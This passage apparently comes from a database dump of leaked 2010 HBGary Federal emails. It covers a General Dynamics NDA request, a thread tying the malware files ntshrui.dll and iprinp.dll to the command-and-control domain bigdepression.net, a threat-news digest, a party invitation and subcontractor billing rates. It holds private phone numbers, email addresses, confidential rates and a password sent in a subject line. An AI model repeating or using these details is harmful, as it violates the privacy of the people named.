Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD 20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before\r\nprinting this email\r\n\r\nThis\r\ne-mail message is for the sole use of the intended recipient and may contain\r\nconfidential and privileged information. Any unauthorized review, use,\r\ndisclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly\r\nA. \r\nSent: Thursday, May 20, 2010 10:55 AM\r\nTo: \'ted@hbgary.com\'\r\nCc: Lemke, Michelle R.; Arismendi, Charles B.; Varga, Joan A.\r\nSubject: GenDyn_HBGary Federal NDA Request for FBI IAS ESOC Effort\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGood morning,\r\n\r\n&nbsp;\r\n\r\nPlease review, sign and return the\r\nattached NDA.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly\r\nHoagland\r\n\r\nSr. Specialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD 20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before\r\nprinting this email\r\n\r\nThis\r\ne-mail message is for the sole use of the intended recipient and may contain\r\nconfidential and privileged information. Any unauthorized review, use,\r\ndisclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Federal NDA.doc&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3287,'aaron_hbgary_com/3287.html'),(6555,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004719.M686079P14101Q1410.eml','\"Rich Cummings\" <rich@hbgary.com>','ntshrui.dll','This file looks associated with bigdepression.com.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2697,'aaron_hbgary_com/2697.html'),(6556,'2010-05-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004719.M935919P14101Q1411.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ntshrui.dll','it was bigdepression.net... is that what you meant?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 21, 2010 11:35 AM\r\nTo: Rich Cummings\r\nSubject: ntshrui.dll\r\n\r\nThis file looks associated with bigdepression.com.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',8506,'aaron_hbgary_com/8506.html'),(6557,'2010-05-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004720.M217802P14101Q1412.eml','\"Aaron Barr\" <aaron@hbgary.com>','rar file - pgp taking too long to install ;)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11875,'aaron_hbgary_com/11875.html'),(6558,'2010-05-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004720.M453057P14101Q1413.eml','\"Aaron Barr\" <aaron@hbgary.com>','pw is meatflower','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1804,'aaron_hbgary_com/1804.html'),(6559,'2010-05-21','\"Josh Fugate\" <jsfugate@hotmail.com>','/aaron@hbgary.com/new/1297004720.M820116P14101Q1414.eml','\"Eric Hallam\" <eric@dreamseedbooks.com>,\"Mark Trynor\" <mark.trynor@gmail.com>,garciakj@gmail.com,\"Ted Vera\" <tedvera@me.com>,\"Aaron Barr\" <aaron@hbgary.com>','6464 grand opening','\r\n\r\n\r\n\r\n\r\nIn case I or Angela hasn\'t already told you, we\'ll be having a bit of a grand re-opening of 6464 Lounge and Sports Book (my basement) next Friday, May 28. Feel free to show up anytime, but preferably around 6-7pm. We\'ll probably just be playing video games and drinking, or playing poker and drinking, or just hanging out and drinking. Oughta be fun.If you need directions, just let me know, either by email or by calling me at 719-351-6906. If you don\'t wanna come, then FINE! We didn\'t want you to come over anyway!&nbsp;Just kidding.Josh Fugate\r\n\r\nGenius\r\nMaster of the Universe 		 	   		  \r\n',8526,'aaron_hbgary_com/8526.html'),(6560,'2010-05-21','\"Mark Trynor\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297004721.M133745P14101Q1415.eml','\"Josh Fugate\" <jsfugate@hotmail.com>,\"Josh Fugate\" <jsfugate@hotmail.com>,,,','Re: 6464 grand opening','Is this the hard opening?\r\nOn May 21, 2010 10:07 AM, &quot;Josh Fugate&quot; &lt;jsfugate@hotmail.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nIn case I or Angela hasn&#39;t already told you, we&#39;ll be having a bit of a grand re-opening of 6464 Lounge and Sports Book (my basement) next Friday, May 28. Feel free to show up anytime, but preferably around 6-7pm. We&#39;ll probably just be playing video games and drinking, or playing poker and drinking, or just hanging out and drinking. Oughta be fun.\r\nIf you need directions, just let me know, either by email or by calling me at 719-351-6906. If you don&#39;t wanna come, then FINE! We didn&#39;t want you to come over anyway! Just kidding.\r\nJosh Fugate\r\n\r\nGenius\r\nMaster of the Universe 		 	   		  \r\n\r\n',1393,'aaron_hbgary_com/1393.html'),(6561,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004721.M383915P14101Q1416.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: ntshrui.dll','Yep\r\n\r\n From my iPhone\r\n\r\nOn May 21, 2010, at 11:37 AM, Rich Cummings  wrote:\r\n\r\n> it was bigdepression.net... is that what you meant?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 21, 2010 11:35 AM\r\n> To: Rich Cummings\r\n> Subject: ntshrui.dll\r\n>\r\n> This file looks associated with bigdepression.com.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n',7916,'aaron_hbgary_com/7916.html'),(6562,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004721.M650775P14101Q1417.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: ntshrui.dll','yeah I mistyped.  The ntshrui.dll is associated with bigdepression.net\r\n\r\nI am interested if you find or have found that dll.\r\n\r\nAaron\r\n\r\nOn May 21, 2010, at 11:37 AM, Rich Cummings wrote:\r\n\r\n> it was bigdepression.net... is that what you meant?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, May 21, 2010 11:35 AM\r\n> To: Rich Cummings\r\n> Subject: ntshrui.dll\r\n> \r\n> This file looks associated with bigdepression.com.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16080,'aaron_hbgary_com/16080.html'),(6563,'2010-05-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004721.M885147P14101Q1418.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ntshrui.dll','Did you get my emailed attacment OK\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 21, 2010 12:43 PM\r\nTo: Rich Cummings\r\nSubject: Re: ntshrui.dll\r\n\r\nyeah I mistyped.  The ntshrui.dll is associated with bigdepression.net\r\n\r\nI am interested if you find or have found that dll.\r\n\r\nAaron\r\n\r\nOn May 21, 2010, at 11:37 AM, Rich Cummings wrote:\r\n\r\n> it was bigdepression.net... is that what you meant?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, May 21, 2010 11:35 AM\r\n> To: Rich Cummings\r\n> Subject: ntshrui.dll\r\n> \r\n> This file looks associated with bigdepression.com.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',11675,'aaron_hbgary_com/11675.html'),(6564,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004722.M200977P14101Q1419.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: ntshrui.dll','I did.  Just looking at it now.\r\n\r\nSent from my iPad\r\n\r\nOn May 21, 2010, at 12:46 PM, Rich Cummings  wrote:\r\n\r\n> Did you get my emailed attacment OK\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 21, 2010 12:43 PM\r\n> To: Rich Cummings\r\n> Subject: Re: ntshrui.dll\r\n>\r\n> yeah I mistyped.  The ntshrui.dll is associated with bigdepression.net\r\n>\r\n> I am interested if you find or have found that dll.\r\n>\r\n> Aaron\r\n>\r\n> On May 21, 2010, at 11:37 AM, Rich Cummings wrote:\r\n>\r\n>> it was bigdepression.net... is that what you meant?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, May 21, 2010 11:35 AM\r\n>> To: Rich Cummings\r\n>> Subject: ntshrui.dll\r\n>>\r\n>> This file looks associated with bigdepression.com.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n',10832,'aaron_hbgary_com/10832.html'),(6565,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004722.M427371P14101Q1420.eml','\"Rich Cummings\" <rich@hbgary.com>','huh?','dude,\r\n\r\nDupont owns a class A?',833,'aaron_hbgary_com/833.html'),(6566,'2010-05-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004722.M648099P14101Q1421.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: huh?','LOL!  I didnt know that.... \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 21, 2010 12:51 PM\r\nTo: Rich Cummings\r\nSubject: huh?\r\n\r\ndude,\r\n\r\nDupont owns a class A?\r\n\r\n',9906,'aaron_hbgary_com/9906.html'),(6567,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004722.M954648P14101Q1422.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: ntshrui.dll','So that should be a done deal then.  There is known malware associated with bigdepression.net, so you should include that in the report right?\r\n\r\nAaron\r\n\r\nOn May 21, 2010, at 12:46 PM, Rich Cummings wrote:\r\n\r\n> Did you get my emailed attacment OK\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, May 21, 2010 12:43 PM\r\n> To: Rich Cummings\r\n> Subject: Re: ntshrui.dll\r\n> \r\n> yeah I mistyped.  The ntshrui.dll is associated with bigdepression.net\r\n> \r\n> I am interested if you find or have found that dll.\r\n> \r\n> Aaron\r\n> \r\n> On May 21, 2010, at 11:37 AM, Rich Cummings wrote:\r\n> \r\n>> it was bigdepression.net... is that what you meant?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, May 21, 2010 11:35 AM\r\n>> To: Rich Cummings\r\n>> Subject: ntshrui.dll\r\n>> \r\n>> This file looks associated with bigdepression.com.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8167,'aaron_hbgary_com/8167.html'),(6568,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004723.M288479P14101Q1423.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: huh?','No wonder we are running out of IPv4 addresses.  I know they are a big company, but a class A?  They must be one of the old school companies that got assigned addresses prior to NAT.\r\n\r\n\r\nOn May 21, 2010, at 1:43 PM, Rich Cummings wrote:\r\n\r\n> LOL!  I didnt know that.... \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, May 21, 2010 12:51 PM\r\n> To: Rich Cummings\r\n> Subject: huh?\r\n> \r\n> dude,\r\n> \r\n> Dupont owns a class A?\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15814,'aaron_hbgary_com/15814.html'),(6569,'2010-05-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004723.M585253P14101Q1424.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: huh?','still laughing that is too funny..they only have 60k machines too. yep they\r\nbought in early i\'m sure.  this guy was telling us some crazy stories about\r\ndupont...\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 21, 2010 1:45 PM\r\nTo: Rich Cummings\r\nSubject: Re: huh?\r\n\r\nNo wonder we are running out of IPv4 addresses.  I know they are a big\r\ncompany, but a class A?  They must be one of the old school companies that\r\ngot assigned addresses prior to NAT.\r\n\r\n\r\nOn May 21, 2010, at 1:43 PM, Rich Cummings wrote:\r\n\r\n> LOL!  I didnt know that.... \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, May 21, 2010 12:51 PM\r\n> To: Rich Cummings\r\n> Subject: huh?\r\n> \r\n> dude,\r\n> \r\n> Dupont owns a class A?\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',7084,'aaron_hbgary_com/7084.html'),(6570,'2010-05-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004723.M800865P14101Q1425.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ntshrui.dll','Yes we included bigdepression.net in our report because we could easily tie\r\nthat to the iprinp.dll.  Where did you get the info on ntshrui?  I found\r\nsomething that might be interesting to you on it but dont want to include in\r\nemail.\r\n\r\nWhat we can\'t verify is the derivations off of bigdepression.net like:\r\nssion.net\r\nession.net\r\nression.net\r\npression.net\r\nepression.net\r\n\r\nI believe the malware can use this as backup C&C or future C&C as needed.  I\r\nwant to tie these to the iprinp.dll family but cannot at the moment.\r\n \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 21, 2010 1:44 PM\r\nTo: Rich Cummings\r\nSubject: Re: ntshrui.dll\r\n\r\nSo that should be a done deal then.  There is known malware associated with\r\nbigdepression.net, so you should include that in the report right?\r\n\r\nAaron\r\n\r\nOn May 21, 2010, at 12:46 PM, Rich Cummings wrote:\r\n\r\n> Did you get my emailed attacment OK\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, May 21, 2010 12:43 PM\r\n> To: Rich Cummings\r\n> Subject: Re: ntshrui.dll\r\n> \r\n> yeah I mistyped.  The ntshrui.dll is associated with bigdepression.net\r\n> \r\n> I am interested if you find or have found that dll.\r\n> \r\n> Aaron\r\n> \r\n> On May 21, 2010, at 11:37 AM, Rich Cummings wrote:\r\n> \r\n>> it was bigdepression.net... is that what you meant?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, May 21, 2010 11:35 AM\r\n>> To: Rich Cummings\r\n>> Subject: ntshrui.dll\r\n>> \r\n>> This file looks associated with bigdepression.com.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',11625,'aaron_hbgary_com/11625.html'),(6571,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004724.M29251P14101Q1426.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: ntshrui.dll','Ah got it.  I\'ll work on that.\r\n\r\nI found on threatexpert.com\r\n\r\n\r\nSent from my iPad\r\n\r\nOn May 21, 2010, at 1:55 PM, Rich Cummings  wrote:\r\n\r\n> Yes we included bigdepression.net in our report because we could easily tie\r\n> that to the iprinp.dll.  Where did you get the info on ntshrui?  I found\r\n> something that might be interesting to you on it but dont want to include in\r\n> email.\r\n>\r\n> What we can\'t verify is the derivations off of bigdepression.net like:\r\n> ssion.net\r\n> ession.net\r\n> ression.net\r\n> pression.net\r\n> epression.net\r\n>\r\n> I believe the malware can use this as backup C&C or future C&C as needed.  I\r\n> want to tie these to the iprinp.dll family but cannot at the moment.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 21, 2010 1:44 PM\r\n> To: Rich Cummings\r\n> Subject: Re: ntshrui.dll\r\n>\r\n> So that should be a done deal then.  There is known malware associated with\r\n> bigdepression.net, so you should include that in the report right?\r\n>\r\n> Aaron\r\n>\r\n> On May 21, 2010, at 12:46 PM, Rich Cummings wrote:\r\n>\r\n>> Did you get my emailed attacment OK\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, May 21, 2010 12:43 PM\r\n>> To: Rich Cummings\r\n>> Subject: Re: ntshrui.dll\r\n>>\r\n>> yeah I mistyped.  The ntshrui.dll is associated with bigdepression.net\r\n>>\r\n>> I am interested if you find or have found that dll.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On May 21, 2010, at 11:37 AM, Rich Cummings wrote:\r\n>>\r\n>>> it was bigdepression.net... is that what you meant?\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Friday, May 21, 2010 11:35 AM\r\n>>> To: Rich Cummings\r\n>>> Subject: ntshrui.dll\r\n>>>\r\n>>> This file looks associated with bigdepression.com.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n',16284,'aaron_hbgary_com/16284.html'),(6572,'2010-05-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004727.M954005P14101Q1427.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Fri)','Interesting. Do we capture Twitter traffic?\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Friday, May 21, 2010 8:49 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nToday\'s articles:\r\n\r\n1.      Twitter malware campaign features a banking Trojan and keylogger\r\ncombo\r\n\r\n2.      Heartland, MasterCard settle over data breach\r\n\r\n3.      Phishing Web sites of top Indian financial institutions\r\ndeceiving customers\r\n\r\n4.      Poor security leaves VA systems open to attack, watchdog says\r\n\r\n5.      Over 80 Chinese government Web sites hacked\r\n\r\n6.      Microsoft to give governments heads up on security\r\nvulnerabilities\r\n\r\n7.      Hacking the security infrastructure\r\n\r\n8.      Microsoft chases \'click laundering\'\r\n\r\n9.      Schmidt Wants to Change Federal Cybersecurity Game\r\n\r\n10.     Internet blockade in Pakistan continues\r\n\r\n11.     The top 10 awfully bad passwords people use\r\n\r\n12.     Australian Cyber Crime Nets $70 Million Annually\r\n\r\n13.     Social networking sites passing on user data to ad agencies\r\n\r\n14.     Office 2010 Beta impersonator is a Trojan \r\n\r\n15.     Symantec to acquire VeriSign\'s security business\r\n\r\n16.     Rogue software details: ByteDefender\r\n\r\n',12605,'aaron_hbgary_com/12605.html'),(6573,'2010-05-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004728.M450408P14101Q1428.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: GD billing rates','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThese are GD people that can be used for engagements\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Friday, May 21, 2010 9:02 AM\r\nTo: Penny C. Hoglund\r\nSubject: Fwd: GD billing rates\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBelow are GD rates -- David and\r\nJef working for Tomas and available for engagements are the Manager level.\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Castrejon, Tomas M. &lt;Tomas.Castrejon@gd-ais.com&gt;\r\nDate: Thu, May 20, 2010 at 9:32 PM\r\nSubject: RE: GD billing rates\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nConfidential\r\n\r\n&nbsp;\r\n\r\nHi Maria,\r\n\r\nSorry for the late response. We have our\r\nstandard &#8220;rack rates&#8221; but we will work with you. &nbsp;Our current range is:\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Director\r\n  \r\n  \r\n  $575 \r\n  \r\n \r\n \r\n  \r\n  Senior Manager\r\n  \r\n  \r\n  $425 \r\n  \r\n \r\n \r\n  \r\n  Manager\r\n  \r\n  \r\n  $375 \r\n  \r\n \r\n \r\n  \r\n  Senior Associate\r\n  \r\n  \r\n  $300\r\n  \r\n \r\n \r\n  \r\n  Associate\r\n  \r\n  \r\n  $225\r\n  \r\n \r\n \r\n  \r\n  Administrative Support\r\n  \r\n  \r\n  $125 \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPlease feel free to call me if you&#8217;d\r\nlike to chat live.\r\n\r\nTC\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Wednesday, May 19, 2010 3:36 PM\r\nTo: Castrejon, Tomas M.\r\nSubject: GD billing rates\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTomas\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nasked what your billing rates are -- what you would charge HBGary to be on our\r\nengagements?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7761,'aaron_hbgary_com/7761.html'),(6574,'2010-05-21','rich@hbgary.com','/aaron@hbgary.com/new/1297004728.M684482P14101Q1429.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: NMCIWG: Daily Computer Threat News (Fri)','I\'m willing to bet cash we do.  \r\nSent from my Verizon Wireless BlackBerry\r\n\r\n-----Original Message-----\r\nFrom: \"Penny Leavy-Hoglund\" \r\nDate: Fri, 21 May 2010 11:01:57 \r\nTo: \'Aaron Barr\'; \'Rich Cummings\'; \'Ted Vera\'; \'Greg Hoglund\'\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nInteresting. Do we capture Twitter traffic?\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Friday, May 21, 2010 8:49 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nToday\'s articles:\r\n\r\n1.      Twitter malware campaign features a banking Trojan and keylogger\r\ncombo\r\n\r\n2.      Heartland, MasterCard settle over data breach\r\n\r\n3.      Phishing Web sites of top Indian financial institutions\r\ndeceiving customers\r\n\r\n4.      Poor security leaves VA systems open to attack, watchdog says\r\n\r\n5.      Over 80 Chinese government Web sites hacked\r\n\r\n6.      Microsoft to give governments heads up on security\r\nvulnerabilities\r\n\r\n7.      Hacking the security infrastructure\r\n\r\n8.      Microsoft chases \'click laundering\'\r\n\r\n9.      Schmidt Wants to Change Federal Cybersecurity Game\r\n\r\n10.     Internet blockade in Pakistan continues\r\n\r\n11.     The top 10 awfully bad passwords people use\r\n\r\n12.     Australian Cyber Crime Nets $70 Million Annually\r\n\r\n13.     Social networking sites passing on user data to ad agencies\r\n\r\n14.     Office 2010 Beta impersonator is a Trojan \r\n\r\n15.     Symantec to acquire VeriSign\'s security business\r\n\r\n16.     Rogue software details: ByteDefender\r\n\r\n\r\n',12958,'aaron_hbgary_com/12958.html'),(6575,'2010-05-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004728.M924247P14101Q1430.eml','rich@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: NMCIWG: Daily Computer Threat News (Fri)','Perhaps an interesting piece for your talk.  What time are you getting in on\r\nSunday?\r\n\r\n-----Original Message-----\r\nFrom: rich@hbgary.com [mailto:rich@hbgary.com] \r\nSent: Friday, May 21, 2010 11:04 AM\r\nTo: Penny Hoglund; Aaron Barr; \'Ted Vera\'; \'Greg Hoglund\'\r\nSubject: Re: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nI\'m willing to bet cash we do.  \r\nSent from my Verizon Wireless BlackBerry\r\n\r\n-----Original Message-----\r\nFrom: \"Penny Leavy-Hoglund\" \r\nDate: Fri, 21 May 2010 11:01:57 \r\nTo: \'Aaron Barr\'; \'Rich Cummings\'; \'Ted\r\nVera\'; \'Greg Hoglund\'\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nInteresting. Do we capture Twitter traffic?\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Friday, May 21, 2010 8:49 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nToday\'s articles:\r\n\r\n1.      Twitter malware campaign features a banking Trojan and keylogger\r\ncombo\r\n\r\n2.      Heartland, MasterCard settle over data breach\r\n\r\n3.      Phishing Web sites of top Indian financial 